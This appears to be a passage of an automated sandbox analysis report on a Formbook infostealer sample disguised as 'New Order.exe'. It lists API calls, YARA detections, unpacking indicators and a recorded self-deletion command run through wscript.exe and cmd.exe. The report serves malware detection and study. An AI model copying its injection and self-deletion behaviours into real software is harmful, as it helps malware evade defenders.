Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489A50 NtCreateFile,LdrInitializeThunk,	5_2_05489A50
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489560 NtWriteFile,	5_2_05489560
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489520 NtWaitForSingleObject,	5_2_05489520
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0548AD30 NtSetContextThread,	5_2_0548AD30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054895F0 NtQueryInformationFile,	5_2_054895F0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489760 NtOpenProcess,	5_2_05489760
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0548A770 NtOpenThread,	5_2_0548A770
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489770 NtSetInformationFile,	5_2_05489770
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0548A710 NtOpenProcessToken,	5_2_0548A710
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489730 NtQueryVirtualMemory,	5_2_05489730
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054897A0 NtUnmapViewOfSection,	5_2_054897A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489670 NtQueryInformationProcess,	5_2_05489670
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489610 NtEnumerateValueKey,	5_2_05489610
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489950 NtQueueApcThread,	5_2_05489950
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054899D0 NtCreateProcessEx,	5_2_054899D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0548B040 NtSuspendThread,	5_2_0548B040
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489820 NtEnumerateKey,	5_2_05489820
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054898F0 NtReadVirtualMemory,	5_2_054898F0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054898A0 NtWriteVirtualMemory,	5_2_054898A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489B00 NtSetValueKey,	5_2_05489B00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0548A3B0 NtGetContextThread,	5_2_0548A3B0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489A00 NtProtectVirtualMemory,	5_2_05489A00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489A10 NtQuerySection,	5_2_05489A10
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489A20 NtResumeThread,	5_2_05489A20
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489A80 NtOpenDirectoryObject,	5_2_05489A80
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_033983A0 NtAllocateVirtualMemory,	5_2_033983A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_03398270 NtReadFile,	5_2_03398270
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_033982F0 NtClose,	5_2_033982F0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_033981C0 NtCreateFile,	5_2_033981C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0339839F NtAllocateVirtualMemory,	5_2_0339839F
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0339826B NtReadFile,	5_2_0339826B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_033982EF NtClose,	5_2_033982EF
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_033981BC NtCreateFile,	5_2_033981BC

Source: C:\Users\user\Desktop\New Order.exe

Code function: 0_2_004030FB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_004030FB

Source: C:\Users\user\Desktop\New Order.exe	Code function: 0_2_004047D3	0_2_004047D3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 0_2_004061D4	0_2_004061D4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00401030	2_2_00401030
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_0041C122	2_2_0041C122
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_0041CB54	2_2_0041CB54
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00408C4D	2_2_00408C4D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00408C50	2_2_00408C50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_0041BC5C	2_2_0041BC5C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00402D88	2_2_00402D88
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00402D90	2_2_00402D90
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_0041B626	2_2_0041B626
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_0041BF31	2_2_0041BF31
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00402FB0	2_2_00402FB0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB28EC	2_2_00CB28EC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFB090	2_2_00BFB090
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C120A0	2_2_00C120A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB20A8	2_2_00CB20A8
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1002	2_2_00CA1002
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CBE824	2_2_00CBE824
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A830	2_2_00C0A830
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C099BF	2_2_00C099BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEF900	2_2_00BEF900
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C04120	2_2_00C04120
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4AEF	2_2_00CA4AEF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB22AE	2_2_00CB22AE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C9FA2B	2_2_00C9FA2B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B236	2_2_00C0B236
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA03DA	2_2_00CA03DA
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CADBD2	2_2_00CADBD2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1ABD8	2_2_00C1ABD8
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C923E3	2_2_00C923E3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1138B	2_2_00C1138B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1EBB0	2_2_00C1EBB0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0AB40	2_2_00C0AB40
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C8CB4F	2_2_00C8CB4F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB2B28	2_2_00CB2B28
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF841F	2_2_00BF841F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAD466	2_2_00CAD466
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB25DD	2_2_00CB25DD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C12581	2_2_00C12581
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA2D82	2_2_00CA2D82
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFD5E0	2_2_00BFD5E0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE0D20	2_2_00BE0D20
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB1D55	2_2_00CB1D55
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB2D07	2_2_00CB2D07
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB2EF7	2_2_00CB2EF7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAD616	2_2_00CAD616
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C06E30	2_2_00C06E30
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CBDFCE	2_2_00CBDFCE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB1FF1	2_2_00CB1FF1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_00401030	2_1_00401030
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_0041C122	2_1_0041C122
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_0041CB54	2_1_0041CB54
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_00408C4D	2_1_00408C4D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_00408C50	2_1_00408C50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_0041BC5C	2_1_0041BC5C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_00402D88	2_1_00402D88
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_00402D90	2_1_00402D90
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_0041B626	2_1_0041B626
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_0041BF31	2_1_0041BF31
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_00402FB0	2_1_00402FB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05511D55	5_2_05511D55
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05512D07	5_2_05512D07
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05440D20	5_2_05440D20
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_055125DD	5_2_055125DD
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0545D5E0	5_2_0545D5E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05472581	5_2_05472581
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0550D466	5_2_0550D466
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0545841F	5_2_0545841F
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0551DFCE	5_2_0551DFCE
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05511FF1	5_2_05511FF1
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0550D616	5_2_0550D616
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05466E30	5_2_05466E30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05512EF7	5_2_05512EF7
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0544F900	5_2_0544F900
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05464120	5_2_05464120
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054699BF	5_2_054699BF
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501002	5_2_05501002
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0551E824	5_2_0551E824
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0546A830	5_2_0546A830
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_055128EC	5_2_055128EC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0545B090	5_2_0545B090
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054720A0	5_2_054720A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_055120A8	5_2_055120A8
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0546AB40	5_2_0546AB40
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0546A309	5_2_0546A309
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05512B28	5_2_05512B28
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0550DBD2	5_2_0550DBD2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_055003DA	5_2_055003DA
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547ABD8	5_2_0547ABD8
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054F23E3	5_2_054F23E3
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547EBB0	5_2_0547EBB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054FFA2B	5_2_054FFA2B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_055122AE	5_2_055122AE
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0339CB54	5_2_0339CB54
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_03382FB0	5_2_03382FB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0339B626	5_2_0339B626
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_03382D90	5_2_03382D90
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_03382D88	5_2_03382D88
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_03388C50	5_2_03388C50
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_03388C4D	5_2_03388C4D

Source: C:\Users\user\Desktop\New Order.exe	Code function: String function: 00BEB150 appears 136 times
Source: C:\Users\user\Desktop\New Order.exe	Code function: String function: 00419F70 appears 38 times
Source: C:\Users\user\Desktop\New Order.exe	Code function: String function: 0041A0A0 appears 38 times
Source: C:\Windows\SysWOW64\wscript.exe	Code function: String function: 0544B150 appears 90 times

Source: New Order.exe, 00000000.00000003.638250187.00000000099EF000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs New Order.exe
Source: New Order.exe, 00000002.00000002.690441656.0000000000A30000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamewscript.exe` vs New Order.exe
Source: New Order.exe, 00000002.00000002.690596917.0000000000CDF000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs New Order.exe

Source: New Order.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.1.New Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.1.New Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.1.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.1.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.New Order.exe.22a0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.New Order.exe.22a0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.New Order.exe.22a0000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.New Order.exe.22a0000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/3@11/7

Source: C:\Users\user\Desktop\New Order.exe

Code function: 0_2_00404292 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_00404292

Source: C:\Users\user\Desktop\New Order.exe

Code function: 0_2_00402053 CoCreateInstance,MultiByteToWideChar,

0_2_00402053

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6508:120:WilError_01

Source: C:\Users\user\Desktop\New Order.exe

File created: C:\Users\user\AppData\Local\Temp\nssD6D2.tmp

Jump to behavior

Source: New Order.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\New Order.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: New Order.exe

ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\New Order.exe

File read: C:\Users\user\Desktop\New Order.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\New Order.exe 'C:\Users\user\Desktop\New Order.exe'
Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Users\user\Desktop\New Order.exe 'C:\Users\user\Desktop\New Order.exe'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\wscript.exe
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\New Order.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Users\user\Desktop\New Order.exe 'C:\Users\user\Desktop\New Order.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\New Order.exe'	Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source:	Binary string: wscript.pdbGCTL source: New Order.exe, 00000002.00000002.690441656.0000000000A30000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000003.00000000.656881329.0000000005A00000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: New Order.exe, 00000000.00000003.641817824.0000000009770000.00000004.00000001.sdmp, New Order.exe, 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, wscript.exe, 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: New Order.exe, wscript.exe
Source:	Binary string: wscript.pdb source: New Order.exe, 00000002.00000002.690441656.0000000000A30000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000003.00000000.656881329.0000000005A00000.00000002.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\New Order.exe

Unpacked PE file: 2.2.New Order.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;

Source: C:\Users\user\Desktop\New Order.exe

Code function: 0_2_10001D3B GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,lstrcatA,GetProcAddress,

0_2_10001D3B

Source: C:\Users\user\Desktop\New Order.exe	Code function: 0_2_100029F0 push eax; ret	0_2_10002A1E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_0041B3B5 push eax; ret	2_2_0041B408
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_0041B46C push eax; ret	2_2_0041B472
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_0041B402 push eax; ret	2_2_0041B408
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_0041B40B push eax; ret	2_2_0041B472
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00415E63 push esp; iretd	2_2_00415E64
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C3D0D1 push ecx; ret	2_2_00C3D0E4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_0041B3B5 push eax; ret	2_1_0041B408
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_0041B46C push eax; ret	2_1_0041B472
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_0041B402 push eax; ret	2_1_0041B408
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_0041B40B push eax; ret	2_1_0041B472
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_00415E63 push esp; iretd	2_1_00415E64
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0549D0D1 push ecx; ret	5_2_0549D0E4
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0339C33C push 020DC012h; ret	5_2_0339C343
